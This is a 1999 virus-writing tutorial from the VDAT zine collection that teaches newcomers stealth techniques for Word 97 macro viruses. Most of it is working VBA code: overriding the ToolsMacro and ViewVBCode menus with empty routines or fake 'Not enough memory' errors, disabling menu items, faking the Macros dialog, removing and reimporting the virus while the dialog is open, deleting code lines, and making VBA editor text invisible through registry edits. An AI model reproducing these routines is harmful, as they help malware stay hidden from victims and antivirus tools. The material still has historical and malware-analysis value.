Simple Stealth for your macro virus
[VDAT edition]
by jackie twoflower /Lz0NT /MVT

hi folks, i'm back with another tutorial about macro virii. today we'll talk about stealth in macro virii. if you don't know what stealth is stop writing virii! no, just a joke come back and read. this tutorial is written for newbies in macro so if you are advanced this tutorial is maybe boring for you. i'm writting this to help others to understand the main concept of stealth.

stealth is used to hide your macro so that your virus survives a bit longer in the wild. you can use different technics of stealth and some i'll explain now. in word the important 'stealth-menus' are 'toolsmacro', 'view code', 'viewvbcode', 'filetemplates' and 'formatstyle'.

simple stealth #1

one simple method is that you block the code of the important 'stealth- menus'. it's very simple to do this, just look at the code.

>     ---------------------------[code starts here]------------------------------

>         Sub ToolsMacro()

>     --> no code in, no code in executed ;)

>         End Sub

>         Sub ViewCode()

>     --> again no code...

>         End Sub

>         Sub ViewVBCode()

>     --> ...

>         End Sub

>         Sub FileTemplates()

>     --> ...

>         End Sub

>         Sub FormatStyle()

>     --> this one is used very seldom but you can also use it

>         End Sub

>     ----------------------------[code ends here]-------------------------------

what you see here is the simpliest stealth method ever. if you open your word, press alt + f8, enter 'toolsmacro' and press edit, you will see the normal code in there. so the only thing we do is that we delete this code in our by setting a new sub routine called 'toolsmacro' without any content. so we bypass this menu. the same is used for the other 'stealth- menus'.

simple stealth #2

this one works like the first technic, but we enter some message. this message is often 'not enough memory', 'this function is not installed' or similar messages. here again an example.

>     ---------------------------[code starts here]------------------------------

>         Sub ToolsMacro()

>             MsgBox "Not enough memory", 16

>     --> no code except the message

>         End Sub

>         Sub ViewCode()

>             MsgBox "Not enough memory", 16

>         End Sub

>         Sub ViewVBCode()

>             MsgBox "Not enough memory", 16

>         End Sub

>         Sub FileTemplates()

>             MsgBox "Not enough memory", 16

>         End Sub

>         Sub FormatStyle()

>             MsgBox "Not enough memory", 16

>         End Sub

>     ----------------------------[code ends here]-------------------------------

so this two technics are used nearly in every macro virus. they are effective and easy to use. you can also add some commands like 'fileexit' or similar to exit the active file. the only side-effect is, that nearly every virus scanner searches for such strings and the virus will be de- tected. now we'll take a look at some other technics for your stealth.

advanced stealth #1

hmm...advanced stealth? yes i know, but it's different to stealth #1 & #2. this kind of stealth deletes or stop the access to the 'stealth-menus' in toolbar. the usually code is like this.

>     ---------------------------[code starts here]------------------------------

>         Sub Stealth()

>         CommandBars("Tools").Controls("Macro").Enabled = False
>         CommandBars("Tools").Controls("Templates and Add-Ins...").Enabled = False
>         CommandBars("Format").Controls("Style...").Enabled = False

>     --> this one looks common for this technic...

>         End Sub

>     -----------------------------[code ends here]------------------------------

so this is another technic for stealth. with this you stop the access to 'toolsmacro', 'templates', etc... you can also use '.delete' instead of '.enabled = false' this will delete the menuitem. this tech is usually used but i improved it a bit to make it language-independent. look at this.

>     ---------------------------[code starts here]------------------------------

>         Sub Stealth()

>         CommandBars("Tools").Controls(12).Enabled = False
>         CommandBars("Tools").Controls(13).Enabled = False
>         CommandBars("Format").Controls(12).Enabled = False

>     --> this one looks common for this technic, but it uses numbers as index

>         End Sub

>     -----------------------------[code ends here]------------------------------

this is the 'improved' version. you can use this for all menus, just look for their names in menus. now here is again another technic used in earlier word 6 macros. this technic was again first used by nightmare joker and i try to convert it for word 97.

advanced stealth #2 ;)

like i said, used in word6 now here for word 97, the macro stealth box! i will give a few comments to this code. this here is already converted for word 97!

> This is a comment...

>     ---------------------------[code starts here]------------------------------

>     Sub ToolsMacro()
>     Dim x

>     > This here is a complete code for the macro stealth...

>     Dim Combobox1__$(0)
>     Combobox1__$(0) = ""
>     Dim Textbox1__$(0)
>     Textbox1__$(0) = ""
>     Dim DropListBox2__$(0)

>     > Declare all the variables and objects....

>     DropListBox2__$(0) = "Normal.dot (Global Template)"

>     > Add this text into the Droplistbox...

>     WordBasic.BeginDialog 620, 280, "Macros"

>         WordBasic.Text 7, 6, 93, 13, "Macro&name:", "Text3"
>         WordBasic.ComboBox 7, 23, 435, 170, Combobox1__$(), "Combobox1"
>         WordBasic.PushButton 470, 14, 137, 21, "&Run", "Definierbar2"
>         WordBasic.CancelButton 470, 38, 137, 21
>         WordBasic.PushButton 470, 72, 137, 21, "&Debug", _
>          "Definierbar3"
>         WordBasic.PushButton 470, 96, 137, 21, "&Edit", "Definierbar4"
>         WordBasic.PushButton 470, 130, 137, 21, "&Create", "Definierbar5"
>         WordBasic.PushButton 470, 154, 137, 21, "&Delete...", "Definierbar6"
>         WordBasic.PushButton 470, 178, 137, 21, "&Organize...", "Definierbar7"
>         WordBasic.Text 7, 200, 93, 13, "Ma&cros in:", "Text1"
>         WordBasic.DropListBox 90, 196, 354, 19, DropListBox2__$(), "Listbox2"
>         WordBasic.Text 7, 222, 109, 13, "Description:", "Text2"
>         WordBasic.TextBox 7, 235, 437, 38, Textbox1__$()
>     WordBasic.EndDialog

>     > Hmm...sorry but I don't know the correct translation of all these
>     > menus, so change them if they are wrong. The size of this box is
>     > exactly the size of the real one...

>     Dim dlg As Object: Set dlg = WordBasic.CurValues.UserDialog
>     x = WordBasic.Dialog.UserDialog(dlg)

>     > Select Case for the user's input...

>     Select Case x
>         Case 0
>             WordBasic.Cancel

>     > If he press 'Cancel' then exit

>         Case 1 To 6
>             MsgBox "Not enough memory", "VBA Error", 48

>     > Else show this 'Not enough memory' message...

>     End Select
>     End Sub

>     ------------------------------[code ends here]-----------------------------

this is also some kind of stealth you can use. and here probably one of the best stealth routines i have ever seen.

advanced stealth #3

this code here is taken from lord arz's lizard macro (thanks). It's a stealth for the normal template. if the user looks at tools macro then this macro removes itself from the normal template, shows the macro dialog and imports itself again, but take a look at the code...

>     -----------------------------[code starts here]----------------------------

>     Sub ToolsMacro()

>     NormalTemplate.VBProject.VBComponents("Lizard").Export "Lizard.bas"

>     > Export the source into the file 'lizard.bas'...

>     Application.OrganizerDelete NormalTemplate.FullName, "Lizard", _
>     	wdOrganizerObjectProjectItems

>     > Delete 'Lizard' from the macros in the normal template...

>     While Dialogs(wdDialogToolsMacro).Display
>     Wend

>     > Show the dialog and wait til it is closed again...

>     NormalTemplate.VBProject.VBComponents.Import "Lizard.bas"

>     > Import 'lizard' again...

>     Kill "Lizard.bas"

>     > Delete the source of lizard...

>     End Sub

>     ------------------------------[code ends here]-----------------------------

advanced stealth #4

this here is a very good stealth code. it's taken from w97m/vbs.bogus by yozak. This stealth is also good for class virii, it deletes the lines if you want to view the code. So take a look at this great code...

>     ----------------------------[code starts here]-----------------------------

>     On Error Resume Next
>     NormalTemplate.VBProject.VBComponents("yoz").CodeModule.DeleteLines 1, 167

>     > This command here deletes the lines from the module 'yoz'. For using in
>     > class infectors use '1' instead of 'yoz'.

>     ActiveDocument.VBProject.VBComponents("yoz").CodeModule.DeleteLines 1, 167

>     > Same as above...

>     NormalTemplate.Saved = True
>     ActiveDocument.Saved = True

>     > These two commands are very important for this stealth. They tell Word
>     > that the doc/temp is already saved. So when you close it, it didn't asks
>     > for saving.

>     ------------------------------[code ends here]-----------------------------

advanced stealth #5

well, kids, the best stealth in a macro i have ever seen, was again written by lord arz (all credits to you! ;)) did you ever thought about changing colours of font and background in the vba editor? no? lord arz did...here is the code:

>     ----------------------------[code starts here]-----------------------------

>     System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"

>     > change background colors

>     System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"

>     > change code colors

>     ------------------------------[code ends here]-----------------------------

So this were a lot of methods for your perfect stealth in your macro. I hope this helps you a bit. If you have any questions feel free and mail me. and never forget, appreciate the work of others and give credits!

have phun, jackie

[june, 1999]